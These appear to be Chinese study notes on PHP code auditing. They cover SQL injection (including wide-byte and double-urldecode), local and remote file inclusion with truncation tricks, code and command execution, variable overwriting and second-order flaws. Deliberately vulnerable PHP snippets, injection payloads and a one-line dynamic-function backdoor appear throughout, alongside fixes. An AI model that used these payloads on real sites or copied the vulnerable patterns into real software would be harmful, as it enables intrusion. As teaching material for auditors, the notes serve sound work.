SQL注入漏洞 (4.1)
SQL注入漏洞的原理非常简单,由于开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤就直接放入数据库引擎执行。
由于SQL注入是直接面对数据库进行攻击的,所以它的危害不言而喻,通常利用SQL注入的攻击方式有下面几种:一是在权限较大的情况下,通过SQL注入可以直接写入webshell,或者直接执行系统命令等。二是在权限较小的情况下,也可以通过注入来获得管理员的密码等信息,或者修改数据库内容进行一些钓鱼或者其他间接利用。
针对SQL注入漏洞的利用工具也是越来越智能,sqlmap是目前被使用最多的注入工具,这是一款国外开源的跨平台SQL注入工具,用Python开发,支持多种方式以及几乎所有类型的数据库注入,对SQL注入漏洞的兼容性也非常强。
SQL注入经常出现在登录页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方,因为这几个地方是业务相对复杂的,登录页面的注入现在来说大多是发生在HTTP头里面的client-ip和x-forward-for,一般用来记录登录的IP地址,另外在订单系统里面,由于订单涉及购物车等多个交互,所以经常会发生二次注入。我们在通读代码挖掘漏洞的时候可以着重关注这几个地方。
SQL注入有多种的利用方式,如普通注入、盲注、报错注入、宽字节注入、二次注入等,但是它们的原理都是大同小异的,下面笔者会介绍怎么挖掘到这些注入漏洞。
注入方式 ★
- 普通注入
- 盲注
- 报错注入
- 宽字节注入
- 二次注入
普通注入 ○
这里说的普通注入是指最容易利用的SQL注入漏洞,比如直接通过注入union查询就可以查询数据库,一般的SQL注入工具也能够非常好地利用。普通注入有int型和string型,在string型注入中需要使用单或双引号闭合,下面简单演示普通注入漏洞,后面所有测试SQL注入漏洞的数据表中数据都如图所示
测试代码如下:
<?php
$uid=$_GET['id'];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect('localhost','root','123456');
mysql_select_db("test",$conn);
$result=mysql_query($sql, $conn);
print_r('当前SQL语句:'.$sql.'<br />结果:');
print_r(mysql_fetch_row($result));
?>
测试代码中GET id参数存在SQL注入漏洞,测试方法如图所示
从截图可以看到原本的SQL语句已被注入更改,使用了union查询到当前用户。
从上面的测试代码中可以发现,数据库操作存在一些关键字,比如select from、mysql_connect、mysql_query、mysql_fetch_row等,数据库的查询方式还有update、insert、delete,我们在做白盒审计时,只需要查找这些关键字,即可定向挖掘SQL注入漏洞。
编码注入
程序在进行一些操作之前经常会进行一些编码处理,而做编码处理的函数也是存在问题的,通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据,在SQL注入里,最常见的编码注入是MySQL宽字节以及urldecode/rawurldecode函数导致的。
编码注入:宽字节注入 P70-72 ★
- 推荐使用pdo的方式来解决
- 反斜线
\
的URL编码为%5c
- 漏洞利用是一般在参数后提交
%df
原理
在使用PHP连接MySQL的时候,当设置 set character_set_client=gbk
时会导致一个编码转换的注入问题,也就是我们所熟悉的宽字节注入,当存在宽字节注入漏洞时,注入参数里带入 %df%27
,即可把程序中过滤的 \
(%5c
)吃掉。
举个例子,假设 /1.php?id=1
里面的id参数存在宽字节注入漏洞,当提交 /1.php?id=-1’and 1=1%23
时,MySQL运行的SQL语句为 select * from user where id=’1\’and 1=1#’
很明显这是没有注入成功的,我们提交的单引号被转义导致没有闭合前面的单引号,但是我们提交 /1.php?id=-1%df’and 1=1%23
时,这时候MySQL运行的SQL语句为:
select * from user where id='1運' and 1=1#'
这是由于单引号被自动转义成 \'
,前面的 %df
和转义字符 \
反斜杠(%5c
)组合成了 %df%5c
,也就是 運
字,这时候单引号依然还在,于是成功闭合了前面的单引号。
出现这个漏洞的原因是在PHP连接MySQL的时候执行了如下设置:
set character_set_client=gbk
告诉MySQL服务器客户端来源数据编码是GBK,然后MySQL服务器对查询语句进行GBK转码导致反斜杠 \
被 %df
吃掉,而一般都不是直接设置 character_set_client=gbk
,通常的设置方法是 SET NAMES 'gbk'
,但其实 SET NAMES 'gbk'
不过是比 character_set_client=gbk
多干了两件事而已,SET NAMES 'gbk'
等同于如下代码:
SET
character_set_connection='gbk',
character_set_results='gbk',
character_set_client=gbk
这同样也是存在漏洞的,另外官方建议使用 mysql_set_charset
方式来设置编码,不幸的是它也只是调用了 SET NAMES
,所以效果也是一样的。不过 mysql_set_charset
调用 SET NAMES
之后还记录了当前的编码,留着给后面 mysql_real_escape_string
处理字符串的时候使用,所以在后面只要合理地使用 mysql_real_escape_string
还是可以解决这个漏洞的。
防范
关于这个漏洞的解决方法推荐如下几种方法:
- 在执行查询之前先执行
SET NAMES 'gbk'
,character_set_client=binary
设置character_set_client为binary。 - 使用
mysql_set_charset('gbk')
设置编码,然后使用mysql_real_escape_string()
函数被参数过滤。 - 使用pdo方式,在PHP5.3.6及以下版本需要设置
setAttribute(PDO:ATTR_EMULATE_PREPARES,false);
来禁用prepared statements的仿真效果。
如上几种方法更推荐第一和第三种。
测试
下面对宽字节注入进行一个简单测试。
测算代码如下:
<?php
$uid=addslashes($_GET['id']);
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect('localhost','root','123456');
mysql_select_db("test",$conn);
mysql_query("SET NAMES 'gbk'",$conn);
$result=mysql_query($sql, $conn);
print_r('当前SQL语句:'.$sql.'<br />结果:');
print_r(mysql_fetch_row($result));
mysql_close();
?>
成功注入的效果如图所示。
对宽字节注入的挖掘方法也比较简单,只要搜索如下几个关键字即可:
SET NAMES
character_set_client=gbk
mysql_set_charset('gbk')
编码注入:二次urldecode注入 P72-73 ★
只要字符被进行转换就有可能产生漏洞,现在的Web程序大多都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC的方式来防止注入,也就是给单引号 '
、双引号 "
、反斜杠 \
和 NULL
加上反斜杠转义。如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。原理是我们提交参数到WebServer时,WebServer会自动解码一次,假设目标程序开启了GPC,我们提交 /1.php?id=1%2527
,因为我们提交的参数里面没有单引号,所以第一次解码后的结果是 id=1%27
,%25
解码的结果是 %
,如果程序里面使用了urldecode或者rawurldecode函数来解码id参数,则解码后的结果是 id=1’
单引号成功出现引发注入。
测试代码:
<? php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a='.$a;
echo '<br />';
echo '$b='.$b;
?>
测试效果如图所示
既然知道了原理主要是由于urldecode使用不当导致的,那我们就可以通过搜索urldecode和rawurldecode函数来挖掘二次urldecode注入漏洞。
SQL注入漏洞防范函数
过滤函数:
- addslashes()
- mysql_escape_string()
- mysql_real_escape_string()
XSS漏洞 (4.2) ○
CSRF漏洞 (4.3) ○
文件操作漏洞 (5.1) P88
文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传,这几种文件操作的漏洞有部分的相似点,但是每种漏洞都有各自的漏洞函数以及利用方式,下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。
- 文件包含
- 文件读取
- 文件删除
- 文件修改
- 文件上传
文件包含漏洞
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(local file include)和远程文件包含(remote file include),顾名思义就能理解它们的差别在哪,而不管哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取webshell。
文件包含函数
- include()
- include_once()
- require()
- require_once()
区别:include()、include_once()在包含文件时即使遇到错误,后续的代码仍然会继续执行;require()、require_once()则会直接报错退出程序。
文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方,比如传入的模块名参数,实际上是直接把这个拼接到了包含文件的路径中。
我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索include()、include_once()、require()和require_once()这四个函数来回溯看看有没有可控的变量,它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。一般这类都是本地文件包含,大多是需要截断的,截断的方法下面我们再细说。
本地文件包含
本地文件包含(local file include,LFI)是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用这些地方,渗透的时候利用起来并不鸡肋,本地文件包含有多种利用方式,比如上传一个允许上传的文件格式的文件再包含来执行代码,包含PHP上传的临时文件,在请求URL或者ua里面加入要执行的代码,WebServer记录到日志后再包含WebServer的日志,还有像Linux下可以包含/proc/self/environ文件。
测试代码如下所示:
<?php
define("ROOT",dirname(__FILE__).'/');
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
?>
我们在同目录下2.php写入如下代码:
<?php
phpinfo();
?>
请求/1.php?mod=2执行结果如图所示
远程文件包含
远程文件包含(remote file include,RFI)是指可以包含远程文件的包含漏洞,远程文件包含需要设置 allow_url_include = on
,PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。四个文件包含的函数都支持HTTP、FTP等协议,相对于本地文件包含,它更容易利用,不过出现的频率没有本地文件包含多,偶尔能挖到,下面我们来看看基于HTTP协议测试代码:
<?php
include($_GET['url']);
?>
利用则在GET请求url参数里面传入
"http://remotehost/2.txt"
其中远程机器上的2.txt是一个内容为
<?php
phpinfo();
?>
访问后返回远程机器的phpinfo信息。
远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面这个代码测试,只要执行POST请求
1.php?a=php://input
POST内容为PHP代码
<?php phpinfo(); ?>
即可打印出phpinfo信息,如图所示
文件包含截断 ○
大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是像include(BASEPATH.$mod.'.php')
或者include($mod.'.php')
这样的方式,如果我们不能写入以.php为扩展名的文件,那我们是需要截断来利用的。
下面我们就来详细说一下各种截断方式。
第一种方式,利用 %00
来截断
这是最古老的一种方法,不过在笔者做渗透测试的过程中,发现目前还是有很多企业的线上环境可以这么利用。%00截断受限于GPC和addslashes等函数的过滤,也就是说,在开启GPC的情况下是不可用的,另外在PHP5.3之后的版本全面修复了文件名%00截断的问题,所以在5.3之后的版本也是不能用这个方法截断的。
下面我们来演示一下%00截断,测试代码1.php:
<?php
include($_GET['a'].'.php');
?>
测试代码2.txt内容:
<?php
phpinfo();
?>
请求
http://localhost/test/1.php?a=2.txt%00
即可执行phpinfo的代码如图所示
第二种方式,利用多个英文句号(.)和反斜杠(/)来截断
这种方式不受GPC限制,不过同样在PHP 5.3版本之后被修复。
下面让我们来演示一下,测试代码如下:
<?php
$str='';
for($i=0;$i<=240;$i++) {
$str .= '.';
}
$str = '2.txt'.$str;
echo $str;
include $str.'.php';
?>
我在Windows下测试是240个连接的点 .
能够截断,同样的点 .
加斜杠 /
也是240个能够截断,Linux下测试的是2038个 /.
组合才能截断。
第三种方式,远程文件包含时利用问号 ?
来伪截断
不受GPC和PHP版本限制,只要能返回代码给包含函数,它就能执行,在HTTP协议里面访问 http://remotehost/1.txt
和访问 http://remotehost/1.txt?.php
返回的结果是一样的,因为这时候WebServer把问号 ?
之后的内容当成是请求参数,而txt不在WebServer里面解析,参数对访问 1.txt
返回的内容不影响,所以就实现了伪截断。
测试代码如下:
<?php
include($_GET['a'].'.php');
?>
请求
/1.php?a=http://remotehost/2.txt?
2.txt内容同样为phpinfo的代码,请求之后会打印出phpinfo信息。
文件读取(下载)漏洞 ○
文件上传漏洞 ○
文件删除漏洞 ○
代码执行漏洞 (5.2)
代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。
如果没有特殊过滤,相当于Web后门。
常见函数:
- eval()
- assert()
- preg_replace()
- call_user_func()
- call_user_func_array()
- array_map()
- PHP动态函数 $a($b)
代码执行漏洞原理 P103
1.代码执行函数 eval()、assert()
这两个函数原本的作用就是用来动态执行代码,所以它们的参数直接就是PHP代码 。
eval()和assert()函数导致的代码执行漏洞大多是因为载入缓存或者模板以及对变量的处理不严格导致,比如直接把一个外部可控的参数拼接到模板里面,然后调用这两个函数去当成PHP代码执行。
这两个函数原本的作用就是用来动态执行代码,所以它们的参数直接就是PHP代码,我们来看看是怎么使用的,测试代码如下:
<?php
$a='aaa';
$b='bbb';
eval('$a=$b;'); //注意分号的位置!
var_dump($a);
?>
测试截图如图所示:
2.代码执行函数 preg_replace()
preg_replace()函数的作用是对字符串进行正则处理。
preg_replace()函数的代码执行需要存在 /e
参数,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。
下面我们来看看它在什么情况下才会出现代码执行漏洞。
它的参数和返回如下:
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1 [,int &$count ]])
这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处即第一个参数存在 e
修饰符时,$replacement的值会被当成PHP代码来执行,我们来看一个简单的例子(1.php)。
<?php
preg_replace("/\[(.*)\]/e", '\\1', $_GET['str']);
?>
正则的意思是从$_GET['str']变量里搜索中括号[]中间的内容作为第一组结果,preg_replace()函数第二个参数为'\1'代表这里用第一组结果填充,这里是可以直接执行代码的,所以当我们请求
/1.php?str=[phpinfo()]
则执行代码phpinfo(),结果如图所示:
3.调用函数过滤不严 call_user_func()、call_user_func_array()、array_map()
call_user_func()和call_user_func_array()函数的功能是调用函数,多用在框架里面动态调用函数,所以一般比较小的程序出现这种方式的代码执行会比较少。array_map()函数的作用是调用函数并且除第一个参数外其他参数为数组,通常会写死第一个参数,即调用的函数,类似这三个函数功能的函数还有很多。
call_user_func()和array_map()等数十个函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。
我们用call_user_func()函数来举例,函数的作用是调用函数并且第二个参数作为要调用的函数的参数,官方说明如下:
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $…… ]])
该函数第一个参数为回调函数,后面的参数为回调函数的参数,测试代码如下:
<?php
$b="phpinfo()";
call_user_func($_GET['a'],$b);
?>
当请求
1.php?a=assert
则调用了assert函数,并且将phpinfo()作为参数传入,如图所示
同类的函数还有如下这些:
call_user_func()、call_user_func_array()、array_map()
usort()、uasort()、uksort()、array_filter()
array_reduce()、array_diff_uassoc()、array_diff_ukey()
array_udiff()、array_udiff_assoc()、array_udiff_uassoc()
array_intersect_assoc()、array_intersect_uassoc()
array_uintersect()、array_uintersect_assoc()
array_uintersect_uassoc()、array_walk()、array_walk_recursive()
xml_set_character_data_handler()、xml_set_default_handler()
xml_set_element_handler()、xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()、xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()、stream_filter_register()
set_error_handler()、register_shutdown_function()、register_tick_function()
4.动态函数执行 $a($b)
由于PHP的特性原因,PHP的函数可以直接由字符串拼接,这导致了PHP在安全上的控制又加大了难度,比如增加了漏洞数量和提高了PHP后门的查杀难度。要找漏洞就要先理解为什么程序代码要这么写,不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func的初衷是一样的,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
PHP动态函数写法为 变量(参数)
,我们来看一个动态函数后门的写法:
<?php
$_GET['a']($_GET['b']);
?>
代码的意思是接收GET请求的a参数,作为函数,b参数作为函数的参数。
当请求a参数值为assert,b参数值为phpinfo()的时候打印出phpinfo信息,请求如下:
http://127.0.0.1/test/1.php?a=assert&b=phpinfo()
执行结果如图所示
要挖掘这种形式的代码执行漏洞,需要找可控的动态函数名。
代码执行漏洞防范 P108
结合正则表达式来进行白名单限制。
命令执行漏洞 (5.3)
命令执行漏洞原理
可以执行命令的函数:
system()
exec()
shell_exec()(或使用反引号`)
shell_exec('whoami');
echo `whoami`;
输出当前用户名
passthru()
pcntl_exec()
popen()
prpc_open()
命令执行漏洞防范 ★
关于命令执行漏洞的防范大致有两种方式:一种是使用PHP自带的命令防注入函数、还有对命令执行函数的参数做白名单限制。
1.命令防注入函数 P112
PHP在SQL防注入上有addslashes()和mysql_real_escape_string()等函数过滤SQL语句,在命令上也同样有防注入函数,一共有两个:escapeshellcmd()和escapeshellarg()。
escapeshellcmd()
escapeshellcmd()是过滤的整条命令,它的函数说明如下:
string escapeshellcmd(string $command)
输入一个string类型的参数,为要过滤的命令,返回过滤后的string类型的命令,过滤的字符为:
&;|`*?~<>^()[]{}$\%
\x0A、\xFF
'"(仅在不成对的时候被转义)
过滤方式:Windows在这些字符前面加上一个 ^
符号。Linux在这些字符前面加上反斜杠 \
。
escapeshellarg()
用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的,不能被注入。
escapeshellarg()函数的功能则是过滤参数,将参数限制在一对双引号里,确保参数为一个字符串,因此它会把双引号替换为空格,我们来测试一下:
<?php
echo 'ls '.escapeshellarg('a"');
?>
最终输出为
ls"a "
2.参数白名单 P113
参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用,是一种通用修复方法,我们之前已经讲过,可以在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在则直接显示错误提示即可,具体的实施代码这里不再重复。
变量覆盖 (6.1)
变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击,这个漏洞想象空间非常大,比如原本一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中变量中,但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那我们就可以覆盖进去一个PHP的扩展名,从而上传一个PHP的shell。
由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。
函数引起的变量覆盖
目前变量覆盖漏洞大多都是由于函数使用不当导致的,这些函数有:
- extract()
- parse_str()
- import_request_variables()
而其中最常见的就是extract()这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理吧。
extract() P115 ★
extract()函数覆盖变量需要一定条件,它的官方功能说明为“从数组中将变量导入到当前的符号表”,通俗讲就是将数组中的键值对注册成变量,函数结构如下:
int extract (array &$var_array [, int $extract_type = EXTR_OVERWRITE [,
string $prefix = NULL ]])
最多三个参数,我们来看看这三个参数的作用,参见表:
函数表 P116 ★★
第一个参数var_array:必需。规定要使用的输入。
第二个参数extract_type:可选。决定对于非法、数字和冲突键名的处理。取值:
- EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
- EXTR_SKIP - 如果有冲突,不覆盖已有的变量。(忽略数组中同名的元素)
- EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。自 PHP 4.0.5 起,这也包括了对数字索引的处理。
- EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix(第三个参数)。
- EXTR_PREFIX_INVALID - 仅在非法或数字变量名前加上前缀 prefix。本标记是 PHP 4.0.5 新加的。
- EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。可以用在已经定义了一组合法的变量,然后要从一个数组例如 $_REQUEST 中提取值覆盖这些变量的场合。本标记是 PHP 4.2.0 新加的。
- EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。本标记是 PHP 4.2.0 新加的。
- EXTR_REFS - 将变量作为引用提取。这有力地表明了导入的变量仍然引用了 var_array 参数的值。可以单独使用这个标志或者在 extract_type 中用 OR 与其它任何标志结合使用。本标记是 PHP 4.3.0 新加的。
第三个参数profix:可选。前缀。
- 请注意 prefix 仅在 extract_type 的值是 EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。
- 如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。
- 前缀和数组键名之间会自动加上一个下划线。
变量覆盖原理
示例:
从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量:
- 第一种是第二个参数为EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量;
- 第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式;
- 第三种则是第二个参数为EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。
为了更清楚地了解它的用法,我们来用代码来说明,测试代码如下:
<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>
测试结果如图所示:
原本变量$b的值为3,经过extract()函数对变量$a处理后,变量$b的值被成功覆盖为了1。
parse_str() ○
parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。
parse_str()函数有两个参数,函数说明如下:
void parse_str(string $str [, array &$arr ] )
其中第一个参数$str是必须的,代表要解析注册成变量的字符串,形式为“a=1”,经过parse_str()函数之后会注册变量$a并且赋值为1。
第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键(key),则会覆盖掉原有的键值。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
我们来测试一下,测试代码:
<?php
$b=1;
parse_str('b=2');
print_r($b);
?>
测试结果可以看到变量$b原有的值1被覆盖成了2,如图所示:
import_request_variables() ○
import_request_variables()函数作用是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候,需要PHP 4.1至5.4之间的版本,不过建议是不开启register_globals也不要使用import_request_variables()函数,这样容易导致变量覆盖。该函数的说明如下:
bool import_request_variables (string $types [, string $prefix ])
其中$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,所以当$type为GPC的时候,则会注册GET、POST、COOKIE参数为变量。这些字母不区分大小写,所以你可以使用'g'、'p'和'c'的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用“gp”时,POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。
第二个参数$prefix为要注册的变量前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为“userid”的 GET 变量,同时提供了“pref_”作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。
测试代码如下:
<?php
$b=1;
import_request_variables('GP');
print_r($b);
?>
从测试结果我们可以看到变量$b的值1被覆盖成了2,如图所示:
$$变量覆盖 P118-119
曾经有一段很经典的$$注册变量导致变量覆盖的代码,在很多应用上面都出现过这个问题,这段代码如下:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
为什么它会导致变量覆盖呢,重点在$$符号,从代码中我们可以看出$_key
为COOKIE、POST、GET中的参数,比如提交?a=1
,则$_key
的值为a
,而还有一个$
在a
的前面,结合起来则是$a=addslashes($_value);
所以这样会覆盖已有的变量$a
的值,我们用代码来解释会更清楚,代码如下:
<?php
$a=1;
foreach(array('_COOKIE', '_POST', '_GET') as $_request){
foreach($$_request as $_key => $_value){
echo $_key.'<br />';
$$_key = addslashes($_value);
}
}
echo $a;
?>
从执行结果可以看出我们成功把变量$a
的值覆盖成了2
,如图所示:
变量覆盖漏洞防范
- 使用原始变量
$_GET
、$_POST
。 - 验证变量存在。extract() 函数使用 EXTR_SKIP 参数。
逻辑处理漏洞 (6.2)
等待与存在判断绕过
in_array()函数 P122-123
用来判断一个值是否在某一个数组列表里面。
但是比较之前会自动做类型转换,导致可以被绕过。
is_numeric()函数 P123-124
用来判断一个变量是否为数字。
但是当传入的参数为hex时则直接通过并返回ture,而MySQL是可以直接使用hex编码代替字符串明文的,导致可以被绕过。
双等于和三等于 ○
双等于(==)在判断等于之前会先做变量类型转换,三等于(===)不会。
账户体系中的越权漏洞 P125 ○
未exit或return引发的安全问题 P125-126 ○
常见支付漏洞 P126-128 ○
二次漏洞 (7)
什么是二次漏洞 ★
需要先构造好利用代码写入网站进行保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。
二次漏洞有点像存储型XSS的味道,就算payload插进去了,能不能利用还得看页面输出有没有过滤。
举一个简单的SQL注入例子
攻击者A在网站评论的地方发表了带有注入语句的评论,这时候注入语句已经被完整地保存到数据库中
但是评论引用功能存在一个SQL注入漏洞,于是攻击者在评论处引用刚提交的带有注入语句的评论,提交后server端从数据库中取出第一次的评论,由于第一次评论中带有单引号可闭合第二次的语句,从而触发了注入漏洞,这是一个非常经典的而又真实的案例,
它就是在2013年5月初被公布的dedecms评论二次注入漏洞,不过当时还有一个非常精彩的60个字符长度限制突破,稍后我们在案例里面分析这个漏洞的来龙去脉。
二次漏洞的出现归根结底是开发者在可信数据的逻辑上考虑不全面,开发者认为这个数据来源或者这个配置是不会存在问题的,而没有想到另外一个漏洞能够修改这些“可信”数据,整个漏洞产生的流程图如图所示。
二次漏洞的流程图 ★★ P137 图7-1
要求会画二次漏洞的流程图。
二次漏洞审计技巧 ○
虽然二次漏洞写入payload和触发payload很可能不在一个地方,但是还是可以通过找相关关键字去定位的,只是精准度会稍稍降低,比如可以根据数据库字段、数据表名等去代码中搜索,大多数二次漏洞的逻辑性比一般的漏洞强得多,所以为了更好地挖掘到二次漏洞,最好还是把全部代码读一遍,这样能帮助我们更好地了解程序的业务逻辑和全局配置,读代码挖的时候肯定轻松加愉快。
业务逻辑越是复杂的地方越容易出现二次漏洞,我们可以重点关注购物车、订单这块,另外还有引用数据、文章编辑、草稿等,这些地方是跟数据库交互的,跟文件系统交互的就是系统配置文件了,不过一般这些都是需要管理员权限才能操作。而在二次漏洞类型里面,我们可以重点关注SQL注入、XSS。
字符串漏洞 (8.2)
字符处理函数报错信息泄露 P146
报错信息可能会泄露Web绝对路径。
显示报错信息
有以下两种方式来显示报错信息:
1. display_errors = on
在PHP配置文件php.ini中设置display_errors = on来显示错误信息。
2. error_reporting()
在代码中加入error_reporting()来显示错误信息。
error_reporting()参数的意思:★★★
选项参数 | 显示错误的等级 |
---|---|
E_ALL | 提示所有错误 |
E_ERROR | 显示错误信息(致命,终止执行脚本) |
E_WARNING | 显示错误信息(非致命,不终止执行脚本) |
E_NOTICE | 显示基础提示信息 |
其他参数:○
值 | 常量 | 描述 |
---|---|---|
1 | E_ERROR | 运行时致命的错误。不能修复的错误。终止执行脚本。 |
2 | E_WARNING | 运行时非致命的错误。不终止执行脚本。 |
4 | E_PARSE | 编译时语法解析错误。解析错误仅仅由分析器产生。 |
8 | E_NOTICE | 运行时通知。表示脚本遇到可能会表现为错误的情况,但是在可以正常运行的脚本里面也可能会有类似的通知。 |
16 | E_CORE_ERROR | 在 PHP 初始化启动过程中发生的致命错误。该错误类似 E_ERROR,但是是由 PHP 引擎核心产生的。 |
32 | E_CORE_WARNING | PHP 初始化启动过程中发生的警告 (非致命错误) 。类似 E_WARNING,但是是由 PHP 引擎核心产生的。 |
64 | E_COMPILE_ERROR | 致命编译时错误。类似 E_ERROR, 但是是由 Zend 脚本引擎产生的。 |
128 | E_COMPILE_WARNING | 编译时警告 (非致命错误)。类似 E_WARNING,但是是由 Zend 脚本引擎产生的。 |
256 | E_USER_ERROR | 用户产生的错误信息。类似 E_ERROR, 但是是由用户自己在代码中使用PHP函数 trigger_error()来产生的。 |
512 | E_USER_WARNING | 用户产生的警告信息。类似 E_WARNING, 但是是由用户自己在代码中使用 PHP 函数 trigger_error() 来产生的。 |
1024 | E_USER_NOTICE | 用户产生的通知信息。类似 E_NOTICE, 但是是由用户自己在代码中使用 PHP 函数 trigger_error() 来产生的。 |
2048 | E_STRICT | 启用 PHP 对代码的修改建议,以确保代码具有最佳的互操作性和向前兼容性。 |
4096 | E_RECOVERABLE_ERROR | 可被捕捉的致命错误。它表示发生了一个可能非常危险的错误,但是还没有导致 PHP 引擎处于不稳定的状态。 如果该错误没有被用户自定义句柄捕获 (参见 set_error_handler()),将成为一个 E_ERROR 从而脚本会终止运行。 |
8192 | E_DEPRECATED | 运行时通知。启用后将会对在未来版本中可能无法正常工作的代码给出警告。 |
16384 | E_USER_DEPRECATED | 用户产生的警告信息。类似 E_DEPRECATED, 但是是由用户自己在代码中使用 PHP 函数 trigger_error() 来产生的。 |
32767 | E_ALL | E_STRICT 除非的所有错误和警告信息。 |
会引发报错的函数 ○
addcslashes()、addslashes()、bin2hex()、chop()、chr()、 chunk_split()、convert_cyr_string()、convert_uudecode()、 convert_uuencode()、count_chars()、crc32()、crypt()、echo()、 explode()、fprintf()、get_html_translation_table()、hebrev()、 hebrevc()、html_entity_decode()、htmlentities()、 htmlspecialchars_decode()、htmlspecialchars()、implode()、join()、 levenshtein()、localeconv()、ltrim()、md5_file()、md5()、 metaphone()、money_format()、nl_langinfo()、nl2br()、 number_format()、ord()、parse_str()、print()、printf()、 quoted_printable_decode()、quotemeta()、rtrim()、setlocale()、 sha1_file()、sha1()、similar_text()、soundex()、sprintf()、sscanf()、 str_ireplace()、str_pad()、str_repeat()、str_replace()、str_rot13()、 str_shuffle()、str_split()、str_word_count()、strcasecmp()、strchr()、 strcmp()、strcoll()、strcspn()、strip_tags()、stripcslashes()、 stripos()、stripslashes()、stristr()、strlen()、strnatcasecmp()、 strnatcmp()、strncasecmp()、strncmp()、strpbrk()、strpos()、 strrchr()、strrev()、strripos()、strrpos()、strspn()、strstr()、 strtok()、strtolower()、strtoupper()、strtr()、substr_compare()、 substr_count()、substr_replace()、substr()、trim()、ucfirst()、 ucwords()、vfprintf()、vprintf()、vsprintf()、wordwrap()、 strtolower()、strtoupper()、ucfirst()、ucwords()、ucfirst()、 ucwords(),等等函数。
字符串截断 P148
%00空字符截断 ○
%00即NULL可以截断文件名(例如截断后缀.php)。
%00即NULL会被GPC和addslashes()函数过滤掉。
PHP5.3(修复了文件名%00截断问题)以后不能使用。
